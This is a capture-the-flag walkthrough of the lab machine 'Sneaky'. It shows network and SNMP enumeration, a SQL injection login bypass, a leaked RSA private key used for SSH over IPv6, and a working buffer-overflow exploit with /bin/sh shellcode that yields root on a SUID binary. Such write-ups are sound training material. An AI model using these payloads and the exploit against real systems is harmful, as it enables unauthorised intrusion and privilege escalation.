About

Name: Sneaky
IP Address: 10.10.10.20
Operating System: Linux
Difficulty: 5.9/10
Base Points: 30

Enumeration

First we do a NMAP scan. This took a while so I tweaked the parameters and ended up the following command:

nmap -sU -sT -T4 --max-retries 0 10.10.10.20
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-09 20:02 CET
Warning: 10.10.10.20 giving up on port because retransmission cap hit (0).
Nmap scan report for 10.10.10.20
Host is up (0.037s latency).
Not shown: 1007 closed ports, 991 open|filtered ports
PORT    STATE SERVICE
80/tcp  open  http
161/udp open  snmp

Here we can see that port 80 and 161 is open.

Going to the website we see this:

Let's enumerate the webserver using GoBuster.

gobuster -w /usr/share/wordlists/dirb/directory-list-2.3-medium.txt -u 10.10.10.20

=====================================================
Gobuster v2.0.0              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.20/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirb/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
2019/01/09 20:21:47 Starting gobuster
=====================================================
/dev (Status: 301)

Going to 10.10.10.20/dev we see this:

The source code reveals nothing interesting. But the login is vulnerable to SQL injections. Specifically: ' or 1=1 #

Here we find a private key:

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvQxBD5yRBGemrZI9F0O13j15wy9Ou8Z5Um2bC0lMdV9ckyU5
Lc4V+rY81lS4cWUx/EsnPrUyECJTtVXG1vayffJISugpon49LLqABZbyQzc4GgBr
3mi0MyfiGRh/Xr4L0+SwYdylkuX72E7rLkkigSt4s/zXp5dJmL2RBZDJf1Qh6Ugb
yDxG2ER49/wbdet8BKZ9EG7krGHgta4mfqrBbZiSBG1ST61VFC+G6v6GJQjC02cn
cb+zfPcTvcP0t63kdEreQbdASYK6/e7Iih/5eBy3i8YoNJd6Wr8/qVtmB+FuxcFj
oOqS9z0+G2keBfFlQzHttLr3mh70tgSA0fMKMwIDAQABAoIBAA23XOUYFAGAz7wa
Nyp/9CsaxMHfpdPD87uCTlSETfLaJ2pZsgtbv4aAQGvAm91GXVkTztYi6W34P6CR
h6rDHXI76PjeXV73z9J1+aHuMMelswFX9Huflyt7AlGV0G/8U/lcx1tiWfUNkLdC
CphCICnFEK3mc3Mqa+GUJ3iC58vAHAVUPIX/cUcblPDdOmxvazpnP4PW1rEpW8cT
OtsoA6quuPRn9O4vxDlaCdMYXfycNg6Uso0stD55tVTHcOz5MXIHh2rRKpl4817a
I0wXr9nY7hr+ZzrN0xy5beZRqEIdaDnQG6qBJFeAOi2d7RSnSU6qH08wOPQnsmcB
JkQxeUkCgYEA3RBR/0MJErfUb0+vJgBCwhfjd0x094mfmovecplIUoiP9Aqh77iz
5Kn4ABSCsfmiYf6kN8hhOzPAieARf5wbYhdjC0cxph7nI8P3Y6P9SrY3iFzQcpHY
ChzLrzkvV4wO+THz+QVLgmX3Yp1lmBYOSFwIirt/MmoSaASbqpwhPSUCgYEA2uym
+jZ9l84gdmLk7Z4LznJcvA54GBk6ESnPmUd8BArcYbla5jdSCNL4vfX3+ZaUsmgu
7Z9lLVVv1SjCdpfFM79SqyxzwmclXuwknC2iHtHKDW5aiUMTG3io23K58VDS0VwC
GR4wYcZF0iH/t4tn02qqOPaRGJAB3BD/B8bRxncCgYBI7hpvITl8EGOoOVyqJ8ne
aK0lbXblN2UNQnmnywP+HomHVH6qLIBEvwJPXHTlrFqzA6Q/tv7E3kT195MuS10J
VnfZf6pUiLtupDcYi0CEBmt5tE0cjxr78xYLf80rj8xcz+sSS3nm0ib0RMMAkr4x
hxNWWZcUFcRuxp5ogcvBdQKBgQDB/AYtGhGJbO1Y2WJOpseBY9aGEDAb8maAhNLd
1/iswE7tDMfdzFEVXpNoB0Z2UxZpS2WhyqZlWBoi/93oJa1on/QJlvbv4GO9y3LZ
LJpFwtDNu+XfUJ7irbS51tuqV1qmhmeZiCWIzZ5ahyPGqHEUZaR1mw2QfTIYpLrG
UkbZGwKBgGMjAQBfLX0tpRCPyDNaLebFEmw4yIhB78ElGv6U1oY5qRE04kjHm1k/
Hu+up36u92YlaT7Yk+fsk/k+IvCPum99pF3QR5SGIkZGIxczy7luxyxqDy3UfG31
rOgybvKIVYntsE6raXfnYsEcvfbaE0BsREpcOGYpsE+i7xCRqdLb
-----END RSA PRIVATE KEY-----

And two usernames:
admin
thrasivoulos

Trying to SSH into the box with those usernames and the private key doesn't work. So let's go back and enumerate SNMP.

snmpwalk -v2c -c public 10.10.10.20
SNMPv2-MIB::sysDescr.0 = STRING: Linux Sneaky 4.4.0-75-generic #96~14.04.1-Ubuntu
SMP Thu Apr 20 11:06:56 UTC 2017 i686
SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (20850078) 2 days, 9:55:00.78
SNMPv2-MIB::sysContact.0 = STRING: root
SNMPv2-MIB::sysName.0 = STRING: Sneaky
[...]

Going through the output we find the following lines:

TCP-MIB::tcpListenerProcess.ipv6."00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00".22
TCP-MIB::tcpListenerProcess.ipv6."00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00".80

And:

IP-MIB::ipAddressType.ipv6."00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:01"
IP-MIB::ipAddressType.ipv6."de:ad:be:ef:00:00:00:00:02:50:56:ff:fe:8f:a3:97"
IP-MIB::ipAddressType.ipv6."fe:80:00:00:00:00:00:00:02:50:56:ff:fe:8f:a3:97"

Judging by this output we can see that the server also is listening on IPv6, port 22 and 80.We also see the IPv6 address of the box: de:ad:be:ef:00:00:00:00:02:50:56:ff:fe:8f:a3:97

Just for fun, let's scan the server again with NMAP using the IPv6 address and see what services are running on port 22 and 80.

Tip
The IPv6 address we found earlier can also be written this way: dead:beef:0000:0000:0250:56ff:fe8f:a397

Or if you prefer:
dead:beef::250:56ff:fe8f:a397

The rules of IPv6 address shortening state the following:

  • An entire string of zeros can be removed, you can only do this once.
  • 4 zeros can be removed, leaving only a single zero.
  • Leading zeros can be removed.
nmap -sC -sV -p 22,80 -6 dead:beef::250:56ff:fe8f:a397
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-10 17:16 CET
Nmap scan report for dead:beef::250:56ff:fe8f:a397
Host is up (0.037s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 
(Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 5d:5d:2a:97:85:a1:20:e2:26:e4:13:54:58:d6:a4:22 (DSA)
|   2048 a2:00:0e:99:0f:d3:ed:b0:19:d4:6b:a8:b1:93:d9:87 (RSA)
|   256 e3:29:c4:cb:87:98:df:99:6f:36:9f:31:50:e3:b9:42 (ECDSA)
|_  256 e6:85:a8:f8:62:67:f7:01:28:a1:aa:00:b5:60:f2:21 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 400 Bad Request
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| address-info: 
|   IPv6 EUI-64: 
|     MAC address: 
|       address: 00:50:56:8f:a3:97
|_      manuf: VMware

Going to the website using the IPv6 address reveals nothing new:

But what about SSH? Let's try and connect to SSH over IPv6, using the private key and username we found earlier.

Initial Foothold

root@kali:~# ssh -i private.key thrasivoulos@dead:beef::250:56ff:fe8f:a397
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-75-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Thu Jan 10 18:18:02 EET 2019

  System load:  0.0               Processes:           162
  Usage of /:   9.6% of 18.58GB   Users logged in:     0
  Memory usage: 14%               IP address for eth0: 10.10.10.20
  Swap usage:   0%

  Graph this data and manage this system at:
    https://landscape.canonical.com/

Your Hardware Enablement Stack (HWE) is supported until April 2019.
Last login: Thu Jan 10 18:18:03 2019 from dead:beef:2::1006
thrasivoulos@Sneaky:~$

Boom! We're in. Let's get user.txt!

thrasivoulos@Sneaky:~$ cat user.txt
9fe14f...51bdab

Privilege Escalation

The first thing I look for is SUID binaries owned by root:

find / -user root -perm -4000 2>/dev/null
/bin/umount
/bin/su
/bin/mount
/bin/ping6
/bin/fusermount
/bin/ping
/usr/local/bin/chal
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/bin/at
/usr/bin/pkexec
/usr/bin/traceroute6.iputils
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/mtr
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device

Looking at the output we see one executable that stands out: /usr/local/bin/chal. What happens if we run this file?

/usr/local/bin/chal
Segmentation fault (core dumped)

We get a segmentation fault.
After some quick testing I found that the file is vulnerable to a buffer overflow.

/usr/local/bin/chal $(python -c "print 'A'*500")
Segmentation fault (core dumped)

If we can exploit this file we can possibly get a root shell, since the file is owned by root and the setuid bit is set.

It's also worth mentioning that all security features are disabled, so we don't need to worry about NX, ASLR etc.

oot@kali:~# gdb chal
GNU gdb (Debian 8.1-4+b1) 8.1
Reading symbols from chal...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

First we need to find out exactly where we end up overwriting the EIP. For this purpose we can use pattern_create.rb and pattern_offset.rb

root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac
3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6A
e7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0
Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj
4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7A
l8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
thrasivoulos@Sneaky:~$ gdb /usr/local/bin/chal
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Reading symbols from /usr/local/bin/chal...(no debugging symbols found)...done.
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A 
Starting program: /usr/local/bin/chal Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A

Program received signal SIGSEGV, Segmentation fault.
0x316d4130 in ?? ()

So the program segfaults at the memory address 0x31634130. Let's use pattern_offset to find out exactly how many bytes we need before overwriting EIP.

root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x316d4130
[*] Exact match at offset 362

So, after 362 bytes of data we start overwriting EIP. Let's find a shell code that spawns /bin/sh.
You can look at PacketStorm for a good /bin/sh shellcode.

We're going to use a NOP sled to execute /bin/sh. That way we don't have to hit our shellcode at the exact location in memory.
As long as we end up in the NOP sled we will just slide directly into our shellcode and get a shell.

After some trial and error I ended up with the following code.
struct.pack: < represents little-endian and the captial L means unsigned long (4 bytes)

from struct import pack

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73"
shellcode +="\x68\x68\x2f\x62\x69\x6e\x89"
shellcode +="\xe3\x89\xc1\x89\xc2\xb0\x0b"
shellcode +="\xcd\x80\x31\xc0\x40\xcd\x80"

buffersize = 362

nop = "\x90" * (buffersize - len(shellcode))
eip = pack('<L', 0xbffff85c)
payload = nop + shellcode + eip

print payload
thrasivoulos@Sneaky:/dev/shm$ /usr/local/bin/chal $(python exploit.py)
# id
uid=1000(thrasivoulos) gid=1000(thrasivoulos) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare),1000(thrasivoulos)

Awesome! Looking at the euid (effective userid) we can see that we are root!
Now we just need to get the flag and we're done.

# cat /root/root.txt
c5153d...36fb33

Further Reading

http://carnal0wnage.attackresearch.com/2007/07/over-in-lso-chat-we-were-talking-about.html

https://networklessons.com/ipv6/shortening-ipv6-addresses/

https://www.offensive-security.com/metasploit-unleashed/writing-an-exploit/

https://bitvijays.github.io/LFC-BinaryExploitation.html